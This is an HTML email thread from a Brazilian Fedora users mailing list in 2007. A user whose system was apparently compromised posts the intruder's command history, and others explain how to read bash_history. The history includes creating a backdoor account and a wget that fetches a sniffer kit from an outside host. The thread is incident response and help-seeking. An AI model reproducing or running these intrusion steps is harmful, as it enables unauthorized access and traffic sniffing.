<html><div style='background-color:'><DIV class=RTE> <P>o arquivo ta aqui sim, ele não apagou..... mas pelo jeito ele não conseguiu fazer muita coisa, assim espero....</P> <P> </P> <P>abaixo os comandos que ele executou</P><FONT size=2> <P>w</P> <P>uname -a</P> <P>cat /proc/cpuinfo</P> <P>ps x</P> <P>ps aux</P> <P>history</P> <P>group</P> <P>groups</P> <P>adduser</P> <P>adduser baxter</P> <P>passwd baxter</P> <P>wget apocalipsa.org/.apocalipsa/sniff.tar</P> <P>tar xvf sniff.tar</P> <P>cd sniff</P> <P>l</P> <P>l</P> <P>ls</P> <P>cd snif</P> <P>ls</P> <P>cat klogd1</P> <P>ls</P> <P>pico klogd1</P> <P>nano klogd1</P> <P>nano clean</P> <P>nano cleanssh</P> <P>nano dnsquery</P> <P>nano dnsquery</P> <P>nano dsniff.services</P> <P>nano inst</P> <P>nano klogd1</P> <P>nano libdb.so.3</P> <P>nano popauth</P> <P>nano zum</P> <P>nano named.sn</P> <P></FONT><BR><BR> </P></DIV> <DIV></DIV> <BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #a0c6e5 2px solid; MARGIN-RIGHT: 0px"><FONT style="FONT-SIZE: 11px; FONT-FAMILY: tahoma,sans-serif"> <HR color=#a0c6e5 SIZE=1> <DIV></DIV>From: <I>"Leonardo Korndorfer" <leokorndorfer@gmail.com></I><BR>Reply-To: <I>Lista de discussão voltada para os usuários brasileiros do Fedora <fedora-users-br@redhat.com></I><BR>To: <I>"Lista de discussÃ£o voltada para os usuÃ¡rios brasileiros do Fedora" <fedora-users-br@redhat.com></I><BR>Subject: <I>Re: [Fedora-users-br] DÃºvida sobre alguns comandos</I><BR>Date: <I>Mon, 26 Mar 2007 15:23:11 -0300</I><BR> <DIV></DIV><BR><home>/.bash_history<BR>se foi como root:<BR>/root/.bash_history<BR><BR>soh p complementar.<BR><BR> <DIV><SPAN class=gmail_quote>On 3/26/07, <B class=gmail_sendername>Leonardo Korndorfer</B> <<A href="mailto:leokorndorfer@gmail.com"> </DIV>leokorndorfer@gmail.com</A>> wrote:</SPAN> <BLOCKQUOTE class=gmail_quote style="PADDING-LEFT: 1ex; MARGIN: 0pt 0pt 0pt 0.8ex">O nano e o pico sao editores de texto que quem nao sabe usar vim ou emacs usam ;) <DIV></DIV><BR><BR>Ele foi abrindo e provavelmente editando os arquivos.<BR>Se tu olhar o bash_history, dependendo do tamanho do historico setado tu vai poder ver tudo que ele fez. Isso se ele nao apago esse tambem. <DIV></DIV><BR><BR> <DIV> <BLOCKQUOTE class=gmail_quote style="PADDING-LEFT: 1ex; MARGIN: 0pt 0pt 0pt 0.8ex"><SPAN class=q> <DIV></DIV> <DIV>nano klogd1</DIV></BLOCKQUOTE></DIV> <DIV>pico klogd1</DIV> <DIV></DIV> <DIV>nano clean</DIV> <DIV></DIV> <DIV>nano cleanssh</DIV> <DIV></DIV> <DIV>nano dnsquery</DIV> <DIV></DIV> <DIV>nano dsniff.services</DIV> <DIV></DIV> <DIV>nano inst</DIV> <DIV></DIV> <DIV>nano libdb.so.3</DIV> <DIV></DIV> <DIV> </DIV> <DIV></DIV> <DIV>AlguÃ©m poderia me dizer o que Ã© isso???</DIV> <DIV></DIV> <DIV> </DIV> <DIV></DIV> <DIV>[]s</DIV> <DIV></DIV> <DIV> </DIV> <DIV></DIV> <DIV>PS: essa mÃ¡quina estÃ¡ ligada em um modem roteado e o modem nÃ£o estÃ¡ configurado pra liberar acesso externo via ssh.</DIV> <DIV></DIV> <DIV> </DIV> <DIV></DIV> <DIV> </DIV> <DIV></DIV><BR clear=all> <HR> Inscreva-se no novo Windows Live Mail beta e seja um dos primeiros a testar as novidades. Saiba mais: <A href="http://g.msn.com/8HMBBRBR/2728??PS=47575"> <DIV></DIV> <DIV></DIV>Saiba mais!</A> <DIV></DIV> <DIV></DIV><BR></SPAN>--<BR>Fedora-users-br mailing list<BR><A href="mailto:Fedora-users-br@redhat.com">Fedora-users-br@redhat.com</A><BR><A href="https://www.redhat.com/mailman/listinfo/fedora-users-br"> <DIV></DIV> <DIV></DIV>https://www.redhat.com/mailman/listinfo/fedora-users-br</A><BR><BR></BLOCKQUOTE> <DIV></DIV><BR> <DIV></DIV></BLOCKQUOTE> <DIV></DIV><BR> <DIV></DIV> <DIV></DIV><BR> <P>>--<BR>>Fedora-users-br mailing list<BR>>Fedora-users-br@redhat.com<BR>>https://www.redhat.com/mailman/listinfo/fedora-users-br<BR> <P></FONT> <BLOCKQUOTE></BLOCKQUOTE></div><br clear=all><hr>Seja um dos primeiros a testar o novo Windows Live Mail Beta - grátis <a href="http://g.msn.com/8HMBBRBR/2734??PS=47575" target="_top">Acesse</a> e inscreva-se agora!</html>